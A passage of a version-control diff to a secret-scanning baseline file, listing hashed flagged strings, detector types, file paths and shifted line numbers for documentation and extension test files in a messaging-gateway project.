"hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 1631 + "line_number": 2039 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "c1e6ee547fd492df1441ac492e8bb294974712bd", "is_verified": false, - "line_number": 1862 + "line_number": 2271 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "45d676e7c6ab44cf4b8fa366ef2d8fccd3e6d6e6", "is_verified": false, - "line_number": 1966 + "line_number": 2399 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "a219d7693c25cd2d93313512e200ff3eb374d281", "is_verified": false, - "line_number": 2202 + "line_number": 2652 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration-reference.md", "hashed_secret": "b6f56e5e92078ed7c078c46fbfeedcbe5719bc25", "is_verified": false, - "line_number": 2204 + "line_number": 2654 } ], "docs/gateway/configuration.md": [ @@ -9853,14 +9814,14 @@ "filename": "docs/gateway/configuration.md", "hashed_secret": "a219d7693c25cd2d93313512e200ff3eb374d281", "is_verified": false, - "line_number": 434 + "line_number": 461 }, { "type": "Secret Keyword", "filename": "docs/gateway/configuration.md", "hashed_secret": "b6f56e5e92078ed7c078c46fbfeedcbe5719bc25", "is_verified": false, - "line_number": 435 + "line_number": 462 } ], "docs/gateway/local-models.md": [ @@ -9879,13 +9840,29 @@ "line_number": 124 } ], + "docs/gateway/remote.md": [ + { + "type": "Secret Keyword", + "filename": "docs/gateway/remote.md", + "hashed_secret": "7d852a6979e11c7a40c35c63a2ee96edb2dc2c69", + "is_verified": false, + "line_number": 111 + }, + { + "type": "Secret Keyword", + "filename": "docs/gateway/remote.md", + "hashed_secret": "e1ce9e0c459c8ef30dcadf6fc4e2d50f63a7aa8a", + "is_verified": false, + "line_number": 114 + } + ], "docs/gateway/tailscale.md": [ { "type": "Secret Keyword", "filename": "docs/gateway/tailscale.md", "hashed_secret": "9cb0dc5383312aa15b9dc6745645bde18ff5ade9", "is_verified": false, - "line_number": 81 + "line_number": 86 } ], "docs/help/environment.md": [ @@ -9910,35 +9887,44 @@ "filename": "docs/help/faq.md", "hashed_secret": "491d458f895b9213facb2ee9375b1b044eaea3ac", "is_verified": false, - "line_number": 1412 + "line_number": 1503 }, { "type": "Secret Keyword", "filename": "docs/help/faq.md", "hashed_secret": "a219d7693c25cd2d93313512e200ff3eb374d281", "is_verified": false, - "line_number": 1689 + "line_number": 1780 }, { "type": "Secret Keyword", "filename": "docs/help/faq.md", "hashed_secret": "b6f56e5e92078ed7c078c46fbfeedcbe5719bc25", "is_verified": false, - "line_number": 1690 + "line_number": 1781 }, { "type": "Secret Keyword", "filename": "docs/help/faq.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 2118 + "line_number": 2209 }, { "type": "Secret Keyword", "filename": "docs/help/faq.md", "hashed_secret": "45d676e7c6ab44cf4b8fa366ef2d8fccd3e6d6e6", "is_verified": false, - "line_number": 2398 + "line_number": 2489 + } + ], + "docs/help/testing.md": [ + { + "type": "Secret Keyword", + "filename": "docs/help/testing.md", + "hashed_secret": "e008bed242a21b8279c220f84ba16019a67a9dd4", + "is_verified": false, + "line_number": 94 } ], "docs/install/macos-vm.md": [ @@ -9965,7 +9951,7 @@ "filename": "docs/perplexity.md", "hashed_secret": "6b26c117c66a0c030e239eef595c1e18865132a8", "is_verified": false, - "line_number": 36 + "line_number": 29 } ], "docs/plugins/voice-call.md": [ @@ -9974,7 +9960,7 @@ "filename": "docs/plugins/voice-call.md", "hashed_secret": "cb46980ce5532f18440dff4bbbe097896a8c08c8", "is_verified": false, - "line_number": 239 + "line_number": 254 } ], "docs/providers/anthropic.md": [ @@ -9992,7 +9978,7 @@ "filename": "docs/providers/claude-max-api-proxy.md", "hashed_secret": "b5c2827eb65bf13b87130e7e3c424ba9ff07cd67", "is_verified": false, - "line_number": 80 + "line_number": 86 } ], "docs/providers/glm.md": [ @@ -10026,14 +10012,23 @@ "filename": "docs/providers/minimax.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 71 + "line_number": 70 }, { "type": "Secret Keyword", "filename": "docs/providers/minimax.md", "hashed_secret": "16c249e04e2be318050cb883c40137361c0c7209", "is_verified": false, - "line_number": 140 + "line_number": 149 + } + ], + "docs/providers/mistral.md": [ + { + "type": "Secret Keyword", + "filename": "docs/providers/mistral.md", + "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", + "is_verified": false, + "line_number": 27 } ], "docs/providers/moonshot.md": [ @@ -10042,7 +10037,7 @@ "filename": "docs/providers/moonshot.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 43 + "line_number": 49 } ], "docs/providers/nvidia.md": [ @@ -10060,7 +10055,7 @@ "filename": "docs/providers/ollama.md", "hashed_secret": "e774aaeac31c6272107ba89080295e277050fa7c", "is_verified": false, - "line_number": 33 + "line_number": 37 } ], "docs/providers/openai.md": [ @@ -10069,7 +10064,7 @@ "filename": "docs/providers/openai.md", "hashed_secret": "ec3810e10fb78db55ce38b9c18d1c3eb1db739e0", "is_verified": false, - "line_number": 31 + "line_number": 32 } ], "docs/providers/opencode.md": [ @@ -10112,7 +10107,7 @@ "filename": "docs/providers/venice.md", "hashed_secret": "c179fe46776696372a90218532dc0d67267f2f04", "is_verified": false, - "line_number": 236 + "line_number": 251 } ], "docs/providers/vllm.md": [ @@ -10149,13 +10144,38 @@ "line_number": 27 } ], + "docs/reference/secretref-user-supplied-credentials-matrix.json": [ + { + "type": "Secret Keyword", + "filename": "docs/reference/secretref-user-supplied-credentials-matrix.json", + "hashed_secret": "d6c8cbcbe34bf0e02cf1a52e27afcf18b59b3f79", + "is_verified": false, + "line_number": 22 + }, + { + "type": "Secret Keyword", + "filename": "docs/reference/secretref-user-supplied-credentials-matrix.json", + "hashed_secret": "e9a292f7f4d25b0d861458719c6115de3ec813c3", + "is_verified": false, + "line_number": 40 + } + ], + "docs/start/wizard-cli-automation.md": [ + { + "type": "Secret Keyword", + "filename": "docs/start/wizard-cli-automation.md", + "hashed_secret": "6d9c68c603e465077bdd49c62347fe54717f83a3", + "is_verified": false, + "line_number": 155 + } + ], "docs/tools/browser.md": [ { "type": "Basic Auth Credentials", "filename": "docs/tools/browser.md", "hashed_secret": "9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684", "is_verified": false, - "line_number": 140 + "line_number": 149 } ], "docs/tools/firecrawl.md": [ @@ -10173,7 +10193,7 @@ "filename": "docs/tools/skills-config.md", "hashed_secret": "c1e6ee547fd492df1441ac492e8bb294974712bd", "is_verified": false, - "line_number": 29 + "line_number": 31 } ], "docs/tools/skills.md": [ @@ -10182,7 +10202,7 @@ "filename": "docs/tools/skills.md", "hashed_secret": "c1e6ee547fd492df1441ac492e8bb294974712bd", "is_verified": false, - "line_number": 198 + "line_number": 200 } ], "docs/tools/web.md": [ @@ -10191,28 +10211,35 @@ "filename": "docs/tools/web.md", "hashed_secret": "6b26c117c66a0c030e239eef595c1e18865132a8", "is_verified": false, - "line_number": 62 + "line_number": 90 }, { "type": "Secret Keyword", "filename": "docs/tools/web.md", - "hashed_secret": "96c682c88ed551f22fe76d206c2dfb7df9221ad9", + "hashed_secret": "4a9fd550cf205ab06ee932f41a132ff53cb83d83", "is_verified": false, - "line_number": 113 + "line_number": 107 + }, + { + "type": "Secret Keyword", + "filename": "docs/tools/web.md", + "hashed_secret": "1ccebc9638f47c80fc388173e346b2fa51178cca", + "is_verified": false, + "line_number": 135 }, { "type": "Secret Keyword", "filename": "docs/tools/web.md", "hashed_secret": "491d458f895b9213facb2ee9375b1b044eaea3ac", "is_verified": false, - "line_number": 161 + "line_number": 179 }, { "type": "Secret Keyword", "filename": "docs/tools/web.md", "hashed_secret": "674397e2c0c2faaa85961c708d2a96a7cc7af217", "is_verified": false, - "line_number": 235 + "line_number": 277 } ], "docs/tts.md": [ @@ -10228,7 +10255,16 @@ "filename": "docs/tts.md", "hashed_secret": "1188d5a8ed7edcff5144a9472af960243eacf12e", "is_verified": false, - "line_number": 100 + "line_number": 101 + } + ], + "docs/vps.md": [ + { + "type": "Base64 High Entropy String", + "filename": "docs/vps.md", + "hashed_secret": "66eba27d45030064a428078cf4d510002a445f27", + "is_verified": false, + "line_number": 60 } ], "docs/zh-CN/brave-search.md": [ @@ -10262,7 +10298,7 @@ "filename": "docs/zh-CN/channels/feishu.md", "hashed_secret": "186154712b2d5f6791d85b9a0987b98fa231779c", "is_verified": false, - "line_number": 445 + "line_number": 509 } ], "docs/zh-CN/channels/line.md": [ @@ -10807,37 +10843,37 @@ "filename": "extensions/bluebubbles/src/actions.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 86 + "line_number": 54 } ], "extensions/bluebubbles/src/attachments.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/bluebubbles/src/attachments.test.ts", + "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", + "is_verified": false, + "line_number": 79 + }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/attachments.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 21 + "line_number": 90 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/attachments.test.ts", "hashed_secret": "db1530e1ea43af094d3d75b8dbaf19a4a182a318", "is_verified": false, - "line_number": 85 - }, - { - "type": "Secret Keyword", - "filename": "extensions/bluebubbles/src/attachments.test.ts", - "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", - "is_verified": false, - "line_number": 103 + "line_number": 154 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/attachments.test.ts", "hashed_secret": "052f076c732648ab32d2fcde9fe255319bfa0c7b", "is_verified": false, - "line_number": 215 + "line_number": 260 } ], "extensions/bluebubbles/src/chat.test.ts": [ @@ -10846,42 +10882,42 @@ "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 19 + "line_number": 68 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 54 + "line_number": 93 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "5c5a15a8b0b3e154d77746945e563ba40100681b", "is_verified": false, - "line_number": 82 + "line_number": 115 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "faacad0ce4ea1c19b46e128fd79679d37d3d331d", "is_verified": false, - "line_number": 131 + "line_number": 158 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "4dcc26a1d99532846fedf1265df4f40f4e0005b8", "is_verified": false, - "line_number": 227 + "line_number": 239 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/chat.test.ts", "hashed_secret": "fd2a721f7be1ee3d691a011affcdb11d0ca365a8", "is_verified": false, - "line_number": 290 + "line_number": 302 } ], "extensions/bluebubbles/src/monitor.test.ts": [ @@ -10890,14 +10926,37 @@ "filename": "extensions/bluebubbles/src/monitor.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 278 + "line_number": 169 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/monitor.test.ts", + "hashed_secret": "891f33ddd2af62f77eab3b7aac8d4874acc093e4", + "is_verified": false, + "line_number": 2394 + }, + { + "type": "Secret Keyword", + "filename": "extensions/bluebubbles/src/monitor.test.ts", + "hashed_secret": "01ee85f364fd0a345244d10a59d73b9f28b2e8da", + "is_verified": false, + "line_number": 2398 + } + ], + "extensions/bluebubbles/src/monitor.webhook-auth.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/bluebubbles/src/monitor.webhook-auth.test.ts", + "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", + "is_verified": false, + "line_number": 169 + }, + { + "type": "Secret Keyword", + "filename": "extensions/bluebubbles/src/monitor.webhook-auth.test.ts", "hashed_secret": "1ae0af3fe72b3ba394f9fa95a6cffc090d726c23", "is_verified": false, - "line_number": 552 + "line_number": 514 } ], "extensions/bluebubbles/src/reactions.test.ts": [ @@ -10906,28 +10965,28 @@ "filename": "extensions/bluebubbles/src/reactions.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 37 + "line_number": 35 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/reactions.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 178 + "line_number": 192 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/reactions.test.ts", "hashed_secret": "a4a05c9a6449eb9d6cdac81dd7edc49230e327e6", "is_verified": false, - "line_number": 209 + "line_number": 223 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/reactions.test.ts", "hashed_secret": "a2833da9f0a16f09994754d0a31749cecf8c8c77", "is_verified": false, - "line_number": 315 + "line_number": 295 } ], "extensions/bluebubbles/src/send.test.ts": [ @@ -10936,14 +10995,14 @@ "filename": "extensions/bluebubbles/src/send.test.ts", "hashed_secret": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3", "is_verified": false, - "line_number": 55 + "line_number": 79 }, { "type": "Secret Keyword", "filename": "extensions/bluebubbles/src/send.test.ts", "hashed_secret": "faacad0ce4ea1c19b46e128fd79679d37d3d331d", "is_verified": false, - "line_number": 692 + "line_number": 757 } ], "extensions/bluebubbles/src/targets.test.ts": [ @@ -10952,16 +11011,7 @@ "filename": "extensions/bluebubbles/src/targets.test.ts", "hashed_secret": "a3af2fb0c1e2a30bb038049e1e4b401593af6225", "is_verified": false, - "line_number": 61 - } - ], - "extensions/bluebubbles/src/targets.ts": [ - { - "type": "Hex High Entropy String", - "filename": "extensions/bluebubbles/src/targets.ts", - "hashed_secret": "a3af2fb0c1e2a30bb038049e1e4b401593af6225", - "is_verified": false, - "line_number": 265 + "line_number": 62 } ], "extensions/copilot-proxy/index.ts": [ @@ -10973,6 +11023,22 @@ "line_number": 9 } ], + "extensions/diagnostics-otel/src/service.test.ts": [ + { + "type": "Base64 High Entropy String", + "filename": "extensions/diagnostics-otel/src/service.test.ts", + "hashed_secret": "e6aa9dc072fcb9dbe42761f25c976143c39d3deb", + "is_verified": false, + "line_number": 332 + }, + { + "type": "Base64 High Entropy String", + "filename": "extensions/diagnostics-otel/src/service.test.ts", + "hashed_secret": "7e634f2e8cbddf340740ee856bf272aaa6d6d770", + "is_verified": false, + "line_number": 352 + } + ], "extensions/feishu/skills/feishu-doc/SKILL.md": [ { "type": "Hex High Entropy String", @@ -10991,6 +11057,66 @@ "line_number": 40 } ], + "extensions/feishu/src/accounts.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/accounts.test.ts", + "hashed_secret": "e066a1720c6745f87bad43d4dc1206a6beaf4298", + "is_verified": false, + "line_number": 19 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/accounts.test.ts", + "hashed_secret": "32db07403e892e96ab02693d38bffb2777e82c94", + "is_verified": false, + "line_number": 20 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/accounts.test.ts", + "hashed_secret": "b72c7c889dbb48caa14157494693a442309d9f08", + "is_verified": false, + "line_number": 51 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/accounts.test.ts", + "hashed_secret": "d15b430d272b72b4149afe9098236dd161888d76", + "is_verified": false, + "line_number": 167 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/accounts.test.ts", + "hashed_secret": "ea45a4958bbb18451e1d48aa90745cb35a508b29", + "is_verified": false, + "line_number": 239 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/accounts.test.ts", + "hashed_secret": "3017efcbcc4d30831b27c2793bac8e7ea61c905a", + "is_verified": false, + "line_number": 254 + } + ], + "extensions/feishu/src/bot.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/bot.test.ts", + "hashed_secret": "6ccf7c8dbcc240973f7793b6bbc8f1d5e6efd4b1", + "is_verified": false, + "line_number": 1091 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/bot.test.ts", + "hashed_secret": "1962fc9032fed7c415a657282d617ba80e82f884", + "is_verified": false, + "line_number": 1154 + } + ], "extensions/feishu/src/channel.test.ts": [ { "type": "Secret Keyword", @@ -11000,13 +11126,140 @@ "line_number": 21 } ], + "extensions/feishu/src/chat.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/chat.test.ts", + "hashed_secret": "f49922d511d666848f250663c4fca84074b856a8", + "is_verified": false, + "line_number": 32 + } + ], + "extensions/feishu/src/client.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "2e8a3d5cbfeb3818c59b66a9f0bf3b80990489f3", + "is_verified": false, + "line_number": 62 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "cfc5057763ea7dabd5c6f7325c0d39c9b8d1baf1", + "is_verified": false, + "line_number": 105 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "8636f9964c42d12b2d698204e426276c41df66d1", + "is_verified": false, + "line_number": 113 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "2e59eff806170ad50c34e3372faef694874fae93", + "is_verified": false, + "line_number": 135 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "f4e4e5f8d09c24c2863cceca031e94154a63e138", + "is_verified": false, + "line_number": 154 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "e55783e61a4f2ae1efd1d1ccb142c902c473ef86", + "is_verified": false, + "line_number": 176 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "67db48d9a41265dfca56d8b198f3e28ee9b6bbcb", + "is_verified": false, + "line_number": 200 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "b8d75c4b958af69d9be3c2efa450e7c4a1b41770", + "is_verified": false, + "line_number": 222 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "f546848b2bf72fec2651db6b80e5592fda678e2f", + "is_verified": false, + "line_number": 245 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/client.test.ts", + "hashed_secret": "c7c5ddbf5e808a49ef38791caf8563c0bc0da434", + "is_verified": false, + "line_number": 264 + } + ], + "extensions/feishu/src/config-schema.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/config-schema.test.ts", + "hashed_secret": "d25db33e5c07ac669f08da0adc2bde73b15ee929", + "is_verified": false, + "line_number": 39 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/config-schema.test.ts", + "hashed_secret": "8437d84cae482d10a2b9fd3f555d45006979e4be", + "is_verified": false, + "line_number": 67 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/config-schema.test.ts", + "hashed_secret": "32db07403e892e96ab02693d38bffb2777e82c94", + "is_verified": false, + "line_number": 174 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/config-schema.test.ts", + "hashed_secret": "2bd27e71d7e14bbd5ac1576290ed6074dc450b5a", + "is_verified": false, + "line_number": 185 + } + ], + "extensions/feishu/src/docx.account-selection.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/docx.account-selection.test.ts", + "hashed_secret": "db2b80fd220b75be76e698a9164f989baf731caf", + "is_verified": false, + "line_number": 30 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/docx.account-selection.test.ts", + "hashed_secret": "57cb5f8d57e1a3c1bcf90d73e103af6a775591a6", + "is_verified": false, + "line_number": 31 + } + ], "extensions/feishu/src/docx.test.ts": [ { "type": "Secret Keyword", "filename": "extensions/feishu/src/docx.test.ts", "hashed_secret": "f49922d511d666848f250663c4fca84074b856a8", "is_verified": false, - "line_number": 97 + "line_number": 124 } ], "extensions/feishu/src/media.test.ts": [ @@ -11015,7 +11268,83 @@ "filename": "extensions/feishu/src/media.test.ts", "hashed_secret": "f49922d511d666848f250663c4fca84074b856a8", "is_verified": false, - "line_number": 45 + "line_number": 76 + } + ], + "extensions/feishu/src/monitor.webhook-security.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/monitor.webhook-security.test.ts", + "hashed_secret": "cf27add3cb4cb83efe9a48cf7289068fa869c4cd", + "is_verified": false, + "line_number": 91 + } + ], + "extensions/feishu/src/onboarding.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/onboarding.test.ts", + "hashed_secret": "2e8a3d5cbfeb3818c59b66a9f0bf3b80990489f3", + "is_verified": false, + "line_number": 64 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/onboarding.test.ts", + "hashed_secret": "d5fc216f56ec5ef58691c854104ba78667d9efad", + "is_verified": false, + "line_number": 78 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/onboarding.test.ts", + "hashed_secret": "d819cf9769641b789fc8f539e0cd8cbe5606e057", + "is_verified": false, + "line_number": 82 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/onboarding.test.ts", + "hashed_secret": "72b6d12b3e7034420015375375466c37ec68be51", + "is_verified": false, + "line_number": 114 + } + ], + "extensions/feishu/src/probe.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/probe.test.ts", + "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", + "is_verified": false, + "line_number": 37 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/probe.test.ts", + "hashed_secret": "640d87e741e6aa4c669a82a4cd304787960513ab", + "is_verified": false, + "line_number": 195 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/probe.test.ts", + "hashed_secret": "4205714cdfe14ed9e3d030ddf7887781b964f510", + "is_verified": false, + "line_number": 199 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/probe.test.ts", + "hashed_secret": "5a718c07b29bb4cd5fafb4a3ad377efc2dad9a59", + "is_verified": false, + "line_number": 214 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/probe.test.ts", + "hashed_secret": "5da0807f9682b03d10b7906c5d2312d46368500c", + "is_verified": false, + "line_number": 219 } ], "extensions/feishu/src/reply-dispatcher.test.ts": [ @@ -11024,16 +11353,23 @@ "filename": "extensions/feishu/src/reply-dispatcher.test.ts", "hashed_secret": "f49922d511d666848f250663c4fca84074b856a8", "is_verified": false, - "line_number": 48 + "line_number": 74 } ], - "extensions/google-antigravity-auth/index.ts": [ + "extensions/feishu/src/tool-account-routing.test.ts": [ { - "type": "Base64 High Entropy String", - "filename": "extensions/google-antigravity-auth/index.ts", - "hashed_secret": "709d0f232b6ac4f8d24dec3e4fabfdb14257174f", + "type": "Secret Keyword", + "filename": "extensions/feishu/src/tool-account-routing.test.ts", + "hashed_secret": "db2b80fd220b75be76e698a9164f989baf731caf", "is_verified": false, - "line_number": 14 + "line_number": 38 + }, + { + "type": "Secret Keyword", + "filename": "extensions/feishu/src/tool-account-routing.test.ts", + "hashed_secret": "57cb5f8d57e1a3c1bcf90d73e103af6a775591a6", + "is_verified": false, + "line_number": 43 } ], "extensions/google-gemini-cli-auth/oauth.test.ts": [ @@ -11042,7 +11378,32 @@ "filename": "extensions/google-gemini-cli-auth/oauth.test.ts", "hashed_secret": "021343c1f561d7bcbc3b513df45cc3a6baf67b43", "is_verified": false, - "line_number": 30 + "line_number": 43 + }, + { + "type": "Secret Keyword", + "filename": "extensions/google-gemini-cli-auth/oauth.test.ts", + "hashed_secret": "07d1db7c4a73c573d6d038b3d26194a7957c513c", + "is_verified": false, + "line_number": 311 + } + ], + "extensions/googlechat/src/api.test.ts": [ + { + "type": "Base64 High Entropy String", + "filename": "extensions/googlechat/src/api.test.ts", + "hashed_secret": "bc7bd07bb0114ca5928ca561817efc6cd7083966", + "is_verified": false, + "line_number": 84 + } + ], + "extensions/googlechat/src/channel.outbound.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/googlechat/src/channel.outbound.test.ts", + "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", + "is_verified": false, + "line_number": 50 } ], "extensions/irc/src/accounts.ts": [ @@ -11051,7 +11412,7 @@ "filename": "extensions/irc/src/accounts.ts", "hashed_secret": "920f8f5815b381ea692e9e7c2f7119f2b1aa620a", "is_verified": false, - "line_number": 19 + "line_number": 24 } ], "extensions/irc/src/client.test.ts": [ @@ -11076,7 +11437,7 @@ "filename": "extensions/line/src/channel.startup.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 103 + "line_number": 94 } ], "extensions/matrix/src/matrix/accounts.test.ts": [ @@ -11113,13 +11474,36 @@ "line_number": 8 } ], + "extensions/mattermost/src/normalize.test.ts": [ + { + "type": "Hex High Entropy String", + "filename": "extensions/mattermost/src/normalize.test.ts", + "hashed_secret": "713ecccd228f49a6068bedd7a64510b50b4284e5", + "is_verified": false, + "line_number": 77 + }, + { + "type": "Base64 High Entropy String", + "filename": "extensions/mattermost/src/normalize.test.ts", + "hashed_secret": "a8e2493e7579ba630d56b2552d5fd2a7198ad943", + "is_verified": false, + "line_number": 82 + }, + { + "type": "Base64 High Entropy String", + "filename": "extensions/mattermost/src/normalize.test.ts", + "hashed_secret": "9a33401dd4f9784482d2db77bbe93d99cea1a571", + "is_verified": false, + "line_number": 94 + } + ], "extensions/memory-lancedb/config.ts": [ { "type": "Secret Keyword", "filename": "extensions/memory-lancedb/config.ts", "hashed_secret": "ecb252044b5ea0f679ee78ec1a12904739e2904d", "is_verified": false, - "line_number": 101 + "line_number": 105 } ], "extensions/memory-lancedb/index.test.ts": [ @@ -11131,6 +11515,15 @@ "line_number": 71 } ], + "extensions/msteams/src/monitor.lifecycle.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/msteams/src/monitor.lifecycle.test.ts", + "hashed_secret": "5a21585c3dfc2797afe4634fa150d996f4ef5b5e", + "is_verified": false, + "line_number": 143 + } + ], "extensions/msteams/src/probe.test.ts": [ { "type": "Secret Keyword", @@ -11140,20 +11533,45 @@ "line_number": 35 } ], + "extensions/msteams/src/token.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/msteams/src/token.test.ts", + "hashed_secret": "5a21585c3dfc2797afe4634fa150d996f4ef5b5e", + "is_verified": false, + "line_number": 38 + } + ], "extensions/nextcloud-talk/src/accounts.ts": [ { "type": "Secret Keyword", "filename": "extensions/nextcloud-talk/src/accounts.ts", "hashed_secret": "920f8f5815b381ea692e9e7c2f7119f2b1aa620a", "is_verified": false, - "line_number": 22 + "line_number": 31 }, { "type": "Secret Keyword", "filename": "extensions/nextcloud-talk/src/accounts.ts", "hashed_secret": "71f8e7976e4cbc4561c9d62fb283e7f788202acb", "is_verified": false, - "line_number": 151 + "line_number": 169 + } + ], + "extensions/nextcloud-talk/src/channel.startup.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/nextcloud-talk/src/channel.startup.test.ts", + "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", + "is_verified": false, + "line_number": 24 + }, + { + "type": "Secret Keyword", + "filename": "extensions/nextcloud-talk/src/channel.startup.test.ts", + "hashed_secret": "dfba7aade0868074c2861c98e2a9a92f3178a51b", + "is_verified": false, + "line_number": 25 } ], "extensions/nextcloud-talk/src/channel.ts": [ @@ -11162,7 +11580,16 @@ "filename": "extensions/nextcloud-talk/src/channel.ts", "hashed_secret": "71f8e7976e4cbc4561c9d62fb283e7f788202acb", "is_verified": false, - "line_number": 396 + "line_number": 408 + } + ], + "extensions/nextcloud-talk/src/send.test.ts": [ + { + "type": "Secret Keyword", + "filename": "extensions/nextcloud-talk/src/send.test.ts", + "hashed_secret": "dbdab9be92cacdae6a97e8601332bfaa8545800f", + "is_verified": false, + "line_number": 11 } ], "extensions/nostr/README.md": [ @@ -11174,6 +11601,36 @@ "line_number": 46 } ], + "extensions/nostr/src/channel.outbound.test.ts": [ + { + "type": "Hex High Entropy String", + "filename": "extensions/nostr/src/channel.outbound.test.ts", + "hashed_secret": "ce4303f6b22257d9c9cf314ef1dee4707c6e1c13", + "is_verified": false, + "line_number": 54 + }, + { + "type": "Secret Keyword", + "filename": "extensions/nostr/src/channel.outbound.test.ts", + "hashed_secret": "ce4303f6b22257d9c9cf314ef1dee4707c6e1c13", + "is_verified": false, + "line_number": 54 + }, + { + "type": "Hex High Entropy String", + "filename": "extensions/nostr/src/channel.outbound.test.ts", + "hashed_secret": "e8b2cccf31904f5d9c62838922648cfeaa4c07e0", + "is_verified": false, + "line_number": 55 + }, + { + "type": "Secret Keyword", + "filename": "extensions/nostr/src/channel.outbound.test.ts", + "hashed_secret": "44682b9fe21c229330c1e5cf9c414d4267d97719", + "is_verified": false, + "line_number": 66 + } + ], "extensions/nostr/src/channel.test.ts": [ { "type": "Hex High Entropy String", @@ -11288,7 +11745,7 @@ 